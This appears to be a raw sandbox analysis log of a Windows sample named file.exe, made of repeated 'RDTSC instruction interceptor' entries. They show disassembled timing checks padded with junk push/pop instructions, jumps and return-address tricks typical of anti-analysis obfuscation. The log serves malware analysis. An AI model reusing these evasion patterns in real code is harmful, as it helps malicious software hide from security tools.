Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205BBE second address: 1205BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120AB67 second address: 120AB70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120AB70 second address: 120AB78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209D54 second address: 1209D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB21D05D600h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1209D6D second address: 1209D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A069 second address: 120A073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A073 second address: 120A077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A815 second address: 120A840 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D600h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jbe 00007FB21D05D5F6h 0x00000010 pushad 0x00000011 popad 0x00000012 je 00007FB21D05D5F6h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b pushad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A9CB second address: 120A9FC instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB21D0A7D82h 0x00000008 jnc 00007FB21D0A7D78h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB21D0A7D7Eh 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A9FC second address: 120AA07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120AA07 second address: 120AA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FB21D0A7D76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214BC7 second address: 1214BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D05D607h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214BE4 second address: 1214C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnl 00007FB21D0A7D76h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FB21D0A7D7Ch 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007FB21D0A7D80h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214C14 second address: 1214C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007FB21D05D5F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214C25 second address: 1214C30 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12137C5 second address: 12137CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12137CE second address: 12137D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12137D3 second address: 12137EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D05D600h 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12137EB second address: 12137F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12137F1 second address: 1213804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 ja 00007FB21D05D5F8h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213804 second address: 1213822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB21D0A7D76h 0x0000000a jne 00007FB21D0A7D76h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jno 00007FB21D0A7D76h 0x0000001a pop eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213AAB second address: 1213AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213D9C second address: 1213DA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213EFA second address: 1213F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213F01 second address: 1213F1A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB21D0A7D7Eh 0x00000008 jnc 00007FB21D0A7D76h 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 je 00007FB21D0A7D76h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12134C7 second address: 12134D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214255 second address: 1214261 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214261 second address: 1214280 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB21D05D608h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214280 second address: 121428C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214479 second address: 1214484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214484 second address: 1214488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214488 second address: 12144A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D603h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d je 00007FB21D05D5F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12144A9 second address: 12144C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D86h 0x00000007 jbe 00007FB21D0A7D76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214637 second address: 1214655 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D608h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214655 second address: 1214659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214659 second address: 121465D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217723 second address: 121772D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121AC24 second address: 121AC2D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5965 second address: 11BF30B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FB21D0A7D78h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 jmp 00007FB21D0A7D88h 0x00000029 call dword ptr [ebp+122D1F8Ah] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5F82 second address: 11E5F90 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5F90 second address: 11E5F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5F94 second address: 11E5FA2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5FA2 second address: 11E5FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5FA6 second address: 11E5FAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5FAA second address: 103F987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov ch, 23h 0x0000000a push dword ptr [ebp+122D04FDh] 0x00000010 mov edx, 09E6872Ah 0x00000015 call dword ptr [ebp+122D323Dh] 0x0000001b pushad 0x0000001c jnc 00007FB21D0A7D7Ch 0x00000022 xor eax, eax 0x00000024 mov dword ptr [ebp+122D30C7h], ebx 0x0000002a mov edx, dword ptr [esp+28h] 0x0000002e jc 00007FB21D0A7D7Ch 0x00000034 sub dword ptr [ebp+122D3238h], ebx 0x0000003a mov dword ptr [ebp+122D1F08h], edx 0x00000040 mov dword ptr [ebp+122D288Bh], eax 0x00000046 sub dword ptr [ebp+122D1F08h], edx 0x0000004c mov esi, 0000003Ch 0x00000051 sub dword ptr [ebp+122D1F08h], edx 0x00000057 add esi, dword ptr [esp+24h] 0x0000005b mov dword ptr [ebp+122D3238h], eax 0x00000061 sub dword ptr [ebp+122D30C7h], ebx 0x00000067 lodsw 0x00000069 jmp 00007FB21D0A7D7Bh 0x0000006e add eax, dword ptr [esp+24h] 0x00000072 pushad 0x00000073 jmp 00007FB21D0A7D7Fh 0x00000078 jmp 00007FB21D0A7D7Ah 0x0000007d popad 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 jmp 00007FB21D0A7D81h 0x00000087 clc 0x00000088 nop 0x00000089 pushad 0x0000008a jmp 00007FB21D0A7D7Dh 0x0000008f push eax 0x00000090 push edx 0x00000091 push ebx 0x00000092 pop ebx 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E60C3 second address: 11E60DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FB21D05D5F6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E60DB second address: 11E60DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E60DF second address: 11E60E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6266 second address: 11E62B7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB21D0A7D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], esi 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FB21D0A7D78h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 nop 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push ecx 0x0000002d pop ecx 0x0000002e jmp 00007FB21D0A7D88h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E62B7 second address: 11E62BC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E62BC second address: 11E62CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007FB21D0A7D76h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E63B6 second address: 11E63BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E65EA second address: 11E65F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E697F second address: 11E6983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6983 second address: 11E6989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6989 second address: 11E6990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6990 second address: 11E699D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6C83 second address: 11E6C9E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c je 00007FB21D05D604h 0x00000012 pushad 0x00000013 jnc 00007FB21D05D5F6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6C9E second address: 11E6CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jnc 00007FB21D0A7D90h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6CCE second address: 11E6CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6CD5 second address: 11E6CFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FB21D0A7D76h 0x00000009 jne 00007FB21D0A7D76h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FB21D0A7D7Bh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6D96 second address: 11E6D9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6D9C second address: 11E6DB1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB21D0A7D78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6DB1 second address: 11E6DF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB21D05D5FBh 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FB21D05D5F8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D2043h], eax 0x0000002e lea eax, dword ptr [ebp+12479649h] 0x00000034 push eax 0x00000035 push ebx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6DF8 second address: 11E6DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6DFE second address: 11E6E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FB21D05D5F8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 lea eax, dword ptr [ebp+12479605h] 0x00000029 sub ecx, dword ptr [ebp+122D29C3h] 0x0000002f push eax 0x00000030 pushad 0x00000031 push edi 0x00000032 jmp 00007FB21D05D5FAh 0x00000037 pop edi 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6E48 second address: 11E6E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121AEE8 second address: 121AEEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121AEEC second address: 121AEF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121AEF6 second address: 121AEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121AEFA second address: 121AF04 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB21D0A7D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6CBD second address: 11E6CC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6CC1 second address: 11E6CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B047 second address: 121B04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B04D second address: 121B060 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D7Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B060 second address: 121B06B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B06B second address: 121B092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB21D0A7D76h 0x0000000a jmp 00007FB21D0A7D87h 0x0000000f popad 0x00000010 push ebx 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B342 second address: 121B355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D05D5FEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B355 second address: 121B377 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FB21D0A7D76h 0x0000000b push esi 0x0000000c pop esi 0x0000000d jng 00007FB21D0A7D76h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007FB21D0A7D76h 0x0000001c jp 00007FB21D0A7D76h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B4E0 second address: 121B4FC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB21D05D602h 0x00000008 jl 00007FB21D05D5F6h 0x0000000e js 00007FB21D05D5F6h 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007FB21D05D5F6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12207D5 second address: 12207D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220966 second address: 1220978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D05D5FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220978 second address: 1220990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB21D0A7D82h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220990 second address: 12209AE instructions: 0x00000000 rdtsc 0x00000002 js 00007FB21D05D5F6h 0x00000008 jne 00007FB21D05D5F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007FB21D05D602h 0x00000016 jnc 00007FB21D05D5F6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
